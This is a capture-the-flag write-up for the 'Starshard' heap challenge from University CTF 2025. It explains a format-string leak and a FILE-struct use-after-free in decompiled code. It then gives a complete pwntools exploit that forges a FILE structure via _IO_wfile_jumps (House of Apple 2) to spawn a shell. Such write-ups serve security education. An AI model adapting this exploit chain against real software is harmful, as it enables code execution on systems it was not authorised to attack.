> For the complete documentation index, see [llms.txt](https://davi1337.gitbook.io/public/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davi1337.gitbook.io/public/universityctf-2025/starshard-university-ctf-2025.md).

# Starshard - University CTF 2025

unfortunately i didn't manage to complete this challenge in time for the ctf. so it only works on my local, correct me if it doesn't work on remote (something we'll never know because the ctf already ended). but it was really fun trying. :D

as the start of every ctf it's necessary to check the checksec, it had:

* **relro**: full relro - this means the global offset table (got) is read-only, so we can't overwrite function pointers there
* **stack**: canary found - there's a canary value on the stack to detect buffer overflows before they overwrite the return address
* **nx**: nx enabled - the stack is not executable, so we can't run shellcode directly from the stack
* **pie**: pie enabled - the binary loads at a random address each time, so we need to leak addresses to know where things are
* **shstk**: enabled - shadow stack is enabled, it keeps a copy of return addresses to prevent rop chains from working easily
* **ibt**: enabled - indirect branch tracking, makes it harder to jump to the middle of functions

<figure><img src="/files/1VXUKvow8o3TxCSPqDTY" alt=""><figcaption></figcaption></figure>

now let's go to reverse engineering, as traditional let's open the binary in ida it has the following functions:

* main
* setup
* banner
* menu
* arm\_routine
* feed\_fragment
* cancel\_routine
* commit\_routine
* ginger\_gate

the goal is to reach ginger\_gate which gives the shell (the win function).

analyzing the **main** function:

```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int result; // eax

  setup();
  banner();
  printf("Tinselwick Tinkerer Name: ");
  if ( fgets(console_state.tinkerer_name, 16, stdin) )
  {
    console_state.tinkerer_name[strcspn(console_state.tinkerer_name, "\n")] = 0;
    printf("=== Welcome ");
    printf(console_state.tinkerer_name);
    puts(" — Starshard Console ===");
    while ( 2 )
    {
      switch ( menu() )
      {
        case '1':
          arm_routine();
          continue;
        case '2':
          feed_fragment();
          continue;
        case '3':
          cancel_routine();
          continue;
        case '4':
          commit_routine();
          continue;
        case '5':
          puts("[*] Exiting Starshard Console.");
          result = 0;
          break;
        default:
          puts("[!] Invalid option.");
          continue;
      }
      break;
    }
  }
  else
  {
    puts("[!] Input error.");
    return 1;
  }
  return result;
}
```

we can see a `printf(console_state.tinkerer_name)` which prints the user input directly without any format specifiers. this is a format string vulnerability. we can use this to leak important memory addresses like **libc base** and **pie base**.

analyzing the use after free: first, let's look at **arm\_routine**. &#x20;

```c
void __cdecl arm_routine()
{
  size_t v0; // rax
  int ch_0; // [rsp+4h] [rbp-Ch]
  size_t i; // [rsp+8h] [rbp-8h]

  console_state.core_log = fopen("starshard_core.txt", "a");
  if ( !console_state.core_log )
  {
    perror("fopen");
    exit(1);
  }
  setvbuf(console_state.core_log, 0, 2, 0);
  printf("Enter Starshard Routine Name: ");
  for ( i = 0; i <= 0x17; ++i )
  {
    ch_0 = fgetc(stdin);
    if ( ch_0 == -1 || ch_0 == 10 )
      break;
    v0 = i;
    console_state.spell_name[v0] = ch_0;
  }
  printf("[*] Routine Armed — %s\n", console_state.spell_name);
}
```

it uses `fopen` to create a file stream and stores the pointer in a global variable called `console_state.core_log`. this allocates a chunk on the heap for the file structure.

now let's look at **cancel\_routine**.&#x20;

```c
void __cdecl cancel_routine()
{
  if ( console_state.core_log )
  {
    fclose(console_state.core_log);
    puts("[*] Routine Cancelled.");
  }
  else
  {
    puts("[!] No active routine.");
  }
}
```

this function calls `fclose` on `console_state.core_log`, which frees the memory associated with the file structure. however, it forgets to set the pointer to null after freeing it. this leaves a "dangling pointer" pointing to freed memory.

finally, let's look at **feed\_fragment**.

```c
void __cdecl feed_fragment()
{
  char size_str[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v1; // [rsp+18h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  if ( console_state.core_log )
  {
    console_state.spell_fragment = 0;
    console_state.fragment_sz = 0;
    printf("Wish-Script Fragment Size: ");
    memset(size_str, 0, 16);
    if ( fgets(size_str, 16, stdin) )
    {
      console_state.fragment_sz = strtoull(size_str, 0, 10);
      if ( console_state.fragment_sz <= 0x1F4 )
      {
        console_state.spell_fragment = (char *)malloc(console_state.fragment_sz);
        if ( !console_state.spell_fragment )
        {
          perror("malloc");
          exit(1);
        }
        puts("Input Wish-Script Fragment:");
        if ( fgets(console_state.spell_fragment, LODWORD(console_state.fragment_sz) - 1, stdin) )
          puts("[*] Fragment Stored.");
        else
          puts("[!] Fragment input error.");
      }
      else
      {
        puts("[!] Fragment exceeds safe sparkle limit.");
      }
    }
    else
    {
      puts("[!] Invalid input.");
    }
  }
  else
  {
    puts("[!] No active Starshard routine.");
  }
}
```

it checks if console\_state.core\_log is valid (not null). since cancel\_routine didn't clear it, the check passes. then it allows us to malloc a new chunk with a size we choose. if we ask for the same size as the file structure (around 464 bytes), the heap manager will give us the exact same chunk that was just freed.

this means we can write our own data into the memory that the program thinks is a valid file structure. when the program tries to use this file later (in commit\_routine), it will use our fake data instead, allowing us to hijack the control flow. this is a clasisc heap challenge. lmao

***

since we have a use-after-free and the glibc version is 2.34 (`gnu c library (ubuntu glibc 2.34-0ubuntu1) stable release version 2.34.`), there are several techniques we can use. we can look at [how2heap](https://github.com/shellphish/how2heap), but basically, every heap technique comes down to either corrupting hooks (for versions before 2.34) or using fsop (file stream oriented programming).

i tried many things for this, but i decided to keep it simple and try to build my own idea instead of just using techniques without understanding them. i started reading and realized that the way to go was using fsop. while reading more blog posts, i saw that since we control the file structure, we can just trick the program into running our win function when it tries to write to the file. so i crafted a fake structure that abuses the \_io\_wfile\_jumps vtable to redirect the flow straight to ginger\_gate.

<https://niftic.ca/posts/fsop/>

this blogpost explains fsop, which is abusing glibc file streams to get code execution when we have some kind of memory corruption. it also mentions that fsop became very common after malloc hooks like \_\_free\_hook and \_\_malloc\_hook were removed in glibc 2.34.

in our case, what we have is a bug that lets us control memory where a FILE object used to be, so we can fake a file stream structure. to exploit this, we need a way to write controlled bytes into that freed area and then make the program use the stream again (for example by calling a function like fputs/printf/fflush indirectly). we also usually need leaks (like libc base) so our fake pointers point to real libc tables.&#x20;

the best scenario is when we can both reallocate the freed FILE chunk and trigger a file action after that, because then our fake vtable path gets executed. the tehcnique that fits this kind of setup is fsop using a valid libc jump table like \_IO\_wfile\_jumps, because glibc does checks on **vtable** addresses and you often need to stay inside the allowed **vtable** section.  this is why house of apple style ideas are strong here, since they focus on abusing wide data / **vtables** in a way that matches modern glibc behavior.&#x20;

now we need to get the offsets and understand how it works to follow this plan (note: i already did this because before having this idea i already tried many things, but i decided to put this later to make the writeup more intuitive)

first, we need to see where the fields are in memory. open the binary in `pwndbg` and use the `ptype` command.

<figure><img src="/files/HK2yTyqKQiAxktc5BcL8" alt=""><figcaption></figcaption></figure>

we use the ptype command in pwndbg to see the exact offsets of the FILE structure. this is crucial to align our payload correctly since different glibc versions can have slight changes.

now, let's run the program and stop right after fopen in option 1 to see the structure live.

<figure><img src="/files/wRIy4XuLKUxauSnZeZCe" alt=""><figcaption></figcaption></figure>

after the `fopen` call, we can inspect the allocated structure. we need to identify the address of the **vtable** and the \_wide\_data pointer. we will use these addresses to calculate where our fake structure will sit once we trigger the use-after-free.

since we are using glibc 2.34, we need the address of the jump table that handles wide characters.

<figure><img src="/files/NOwVusCSyTVoyzDWt5DZ" alt=""><figcaption></figcaption></figure>

since we are targeting glibc 2.34, we need to find the address of \_IO\_wfile\_jumps. this table is allowed by the glibc vtable validation check, making it the perfect target for our fake vtable pointer.

finally, we need the exact address of the function that will give us the shell.

<figure><img src="/files/CXklqgeYFR3Ua8sWuvhx" alt=""><figcaption></figcaption></figure>

finally, we find the address of the ginger\_gate function. this is our "win" function that executes system("/bin/sh"). we will place this address at offset 0x68 of our fake wide\_vtable to hijack the execution flow. below is the code for the ginger\_gate function:

```c
void __cdecl ginger_gate()
{
  setenv("XMAS", "The Gingerbit Gremlin listens.", 1);
  system("/bin/sh");
}
```

now that we have all the offsets, we need to map our fake structure inside the 464-byte buffer. we must ensure that our fake wide\_data and wide\_vtable are placed in areas that don't overlap with critical fields needed for the initial jump.

to map our structure, we use a technique where the fake \_wide\_data pointer points back into our own buffer. this creates a "nesting" effect where the file structure contains its own secondary data.

technically, we need to populate these key areas in the 464-byte chunk:

1. the header: where the "sh;" string and basic flags live.
2. the pointers: where we place the lock, the \_wide\_data pointer, and the vtable pointer.
3. the fake wide structure: a specific region (at offset 0xe0) that glibc will treat as the wide-character control block.
4. the execution target: the exact spot (offset 0x68 inside the fake wide vtable) that triggers the jump to ginger\_gate.

<figure><img src="/files/5j1JyMPoRG46XiPgTjV3" alt=""><figcaption></figcaption></figure>

once the payload is in memory, we can inspect it using pwndbg to confirm all the "pointers to pointers" are correctly linked before we hit the trigger.

<figure><img src="/files/yHYsma0YMMZUDsdITQrz" alt=""><figcaption></figcaption></figure>

after sending the final payload and choosing option 4, the fputs function triggers our chain. the program follows our fake vtable and jumps directly to ginger\_gate, giving us a shell.

<figure><img src="/files/ae9h8WcCO6MitkbGwkKn" alt=""><figcaption></figcaption></figure>

#### Exploit

```python
#!/usr/bin/env python3
from pwn import *

exe = ELF("./starshard_core", checksec=False)
libc = ELF("./glibc/libc.so.6", checksec=False)
context.binary = exe

def exploit():
    p = process(exe.path)

    p.sendlineafter(b"Name: ", b"%9$p %11$p")
    p.recvuntil(b"Welcome ")
    line = p.recvline().strip()
    
    parts = line.split()
    
    libc.address = int(parts[0], 16) - 0x2dfd0
    exe.address = int(parts[1], 16) - 0x175e
    ginger_gate = exe.address + 0x1726

    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"Name: ", b"A"*24)
    
    p.recvuntil(b"[*] Routine Armed \xe2\x80\x94 " + b"A"*24)
    heap_leak = u64(p.recvline().strip().ljust(8, b"\x00"))

    p.sendlineafter(b"> ", b"3")
    p.recvuntil(b"Cancelled")

    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"Size: ", b"464")
    log.success("Hacker Hackeia")
    payload = flat(
        {
            0x00: b"  sh;",
            0x88: libc.sym['_IO_stdfile_1_lock'],
            0xA0: heap_leak + 0xE0,
            0xC0: 0,
            0xD8: libc.sym['_IO_wfile_jumps'],
            0xE0 + 0x18: 0,
            0xE0 + 0x20: 0,
            0xE0 + 0x28: 0,
            0xE0 + 0x30: 0,
            0xE0 + 0xE0: heap_leak + 0x150,
            0x150 + 0x68: ginger_gate
        },
        length=464,
        filler=b'\x00'
    )

    p.sendlineafter(b"Fragment:", payload)
    #pause()
    p.sendlineafter(b"> ", b"4")

    p.interactive()

if __name__ == "__main__":
    exploit()
```

thank you so much to everyone who always helps me!

***this was my writeup, i hope you learned something or enjoyed it :)***

#### Resources

* <https://zeroclick.sh/blog/fsop-intro/>  (Helped me understand better `FSOP`)
* <https://niftic.ca/posts/fsop/> (Helped me understand better `FSOP`. It also helped me realize that House of Apple 2 was the way to go here)&#x20;
* <https://corgi.rip/posts/leakless_heap_1/> (Helped me adapt the `_IO_wfile_overflow` attack via `_IO_wfile_jumps` for this specific case)
* <https://chovid99.github.io/posts/stack-the-flags-ctf-2022/> (Blogpost that helped me understand House of Apple 2 better :D)
